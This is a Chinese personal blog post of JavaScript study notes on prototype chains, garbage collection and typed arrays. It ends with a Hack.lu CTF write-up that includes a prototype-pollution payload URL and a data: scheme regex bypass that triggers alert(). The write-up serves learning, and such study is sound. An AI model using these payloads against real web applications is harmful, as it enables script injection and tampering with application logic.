JS的一些常用姿势

5.18 心血来潮看看js
写完speedphp了,框架大体都那样,比tp还好写。有空再重看一下laravel。今天看js

原型链

JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 __proto__)指向它的构造函数的原型对象(prototype)。prototype是函数特有的。

原型链的一些姿势
感觉比较好用的:修改原型

1
2
3
4
5
6
7
8
9
10
11
s = 'abc';

String.prototype.reverse = function(){
var t = '';
for(var i=this.length-1;i>=0;i--){
t += this[i];
}
return t;
}

s.reverse(); //bca

prototype里存的就是这个对象的各种属性,因此可以.prototype.a来往里加属性

几个小测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function f(){}
let o = new f()


f.__proto__.__proto__.constructor==Object() //true
Object.prototype.constructor==Object //true

即:Object的构造函数就是本身、

o.__proto__ == f.prototype //true

f.__proto__ == Function.prototype //true

f.__proto__.__proto__ == Object.prototype //true

这就是一条很经典的原型链

总的来说就是,然后当你new的时候,原型会把自己的.prototype赋给新对象的.__proto__。当对象找自己的属性时,会在.prototype里找,当找不到时,就会在自己__proto__里去找,也就是原型的prototype,再找不到时,就递归的去找直到__proto__为空。。

几种新建对象的方法:

1
2
3
4
5
6
7
8
1. 
var x = new f()
2.
var x = new Object();
x.a = 1
3.
var x2 = Object.create(x);
x.__proto__ == x //true

再说下constructor

1
2
var x = new f();
x.constructor == f //true

实例从原型中继承一个constructor,并且该constructor指向原型

还有就是,Object.getPrototypeOf(x) == x.__proto__,即返回x的原型

5.19 继续JS
马上就要5.20了,又是一个单身的520、、在这个鬼学校,想遇到一个喜欢的妹子真难。坐等学妹

今天挑着mozilla的js文档里看着有趣的学。先看看内存管理吧,挑着没看过的新点记笔记。

C可以malloc、free这种的来动态管理内存,js不行。js创建的变量在不被使用是会被自动释放,这个过程就叫辣鸡回收。

主要说下js里的辣鸡回收算法

1.引用计数法

what is 引用?
在内存管理的环境中,一个对象如果有访问另一个对象的权限(隐式或者显式),叫做一个对象引用另一个对象。例如,一个Javascript对象具有对它原型的引用(隐式引用)和对它属性的引用(显式引用)。

最初级的就是这种了。这种算法把 ‘对象没有其他引用’===’对象不再需要’。每当有一个地方引用它时,计数器值就加1;当引用失效时,计数器值就减1;任何时刻计数器都为0的对象就是不再被使用的,垃圾收集器将回收该对象使用的内存。 当然这种的遇见循环引用就gg

引用在高级语言里很常见。比如js、py、java这种,对象的赋值都是引用传递。几个变量都指向同一块内存,即指向同一个对象。因此哪怕有一个变量还指向这块内存,就说明这块内存是有用的,就不会被释放。

这里还有一个知识点就是内存泄漏。自己去谷歌

2.标记清除法

标记清除法主要是用树来实现。它将垃圾回收分成了两个阶段:标记阶段和清除阶段。

在标记阶段,通过根节点往下遍历,标记所有从可达的对象节点,那么未标记的对象就是未被引用的垃圾对象。

在清除阶段,清除掉所有未被标记的对象,就完成了垃圾回收

继续,再看看类数组对象

这个东西看起来感觉很强大。。

JavaScript 类型数组将实现拆分为缓冲和视图两部分。一个缓冲(ArrayBuffer)描述的是一个数据块(即申请一段空内存)。缓冲没有格式可言,并且不提供机制访问其内容。使用视图可以操作缓冲对象包含的内存(写入数据)。视图提供了上下文—即数据类型、起始偏移量和元素数—将数据转换为实际有类型的数组。

1
2
3
4
5
6
7
8
9
var buffer = new ArrayBuffer(16);
//申请一段内存

var int32View = new Int32Array(buffer);
//视图为32位整数

for (var i = 0; i < int32View.length; i++) {
int32View[i] = i * 2;
}

也可以用比如Uint8Array(buffer, 4, 16);来指定这个视图操作哪部分内存。这通常用于结构体

今天就到这。。

6月21更新

其实也没啥 就那些东西

f = new F()

f.__proto__ == F.prototype

调用时首先找本身的prototype,找不到就去.__proto__里找

1
2
3
4
5
6
7
8
Foo(){
this.v = 1;
this.c = function(){return 555;}
}

Foo.vc = 222;

f = new Foo()

然后这个vc实际是被绑到Foo的constructor里的。如果想访问,需要:Foo.prototype.constructor.vv

这就说明了,Foo.prototype.constructor == f.constructor

1
2
3
4
foo.__proto__.constructor == Foo  //true 这个不太懂,对prototype的本质还是没理解透
foo.constructor == Foo //true

实例从原型中继承一个constructor,并且该constructor指向原型

一个特别清晰的图

所谓的原型链污染其实就是将对象的__proto__属性覆盖,这样当对象调用他找不到的属性时,就会触发我们在__proto__里写的evil_func

需要注意的一点就是JSON.parse

举个例子:

1
2
3
4
5
6
7
8
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
//let o2 = JSON.parse('{a: 1, "__proto__": {b: 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

JSON.parse后,__proto__才是一个key,然后merge的时候才能污染o1。
否则__proto__就是个字符串,只是一个名字有些敏感的普通自有属性,而对象在查找属性时会在真正的原型上进行查找。

hacklu原型链污染题目分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?help=https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/assets/js/car.key.js&repair={%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:{%22__proto__%22:["lol"]}}#PorscheBugatti

function WoW(){ this.Oo = 'O.o'; }
var x = new WoW();
var y = new WoW();
console.log(x + ''); // [object Object]
console.log(y + ''); // [object Object]
x.__proto__.__proto__ = ["Wow, I overode toString on Object!"]
console.log(y + ''); // Wow, I overode toString on Object!

URL = "https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair=%7B%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:%7B%22__proto__%22:[%22lol%22]%7D%7D&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/aaaa/,alert()//a.js#BugattiPorsche"

/* override key so we can ignite the car, override Object.prototype.toString so we pass
* $.md5(porsche) == '9cdfb439c7876e703e307864c9167a15', where it's a hash of "lol" string
* ?repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}
*/

/* regex /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/
* allows to indlude data: scheme. data://foooooooo/foooo/,alert() results in plaintext alert()
* &help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/aaaa/,alert()//a.js
*/

首先$.extend()原型链污染,然后$.md5计算的是传入的对象的toString()的md5值。

这里有个很神奇的东西,toString。
首先需要知道的是,porsche对象是没toString的,他的toString是调用的他的__proto__的toString,Car也没,所以调用时Object的。
这里把它污染成一个Array,调用的时候调的就是Array的toString了。

剩下的data伪协议,可以bypass正则。。很牛逼。

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY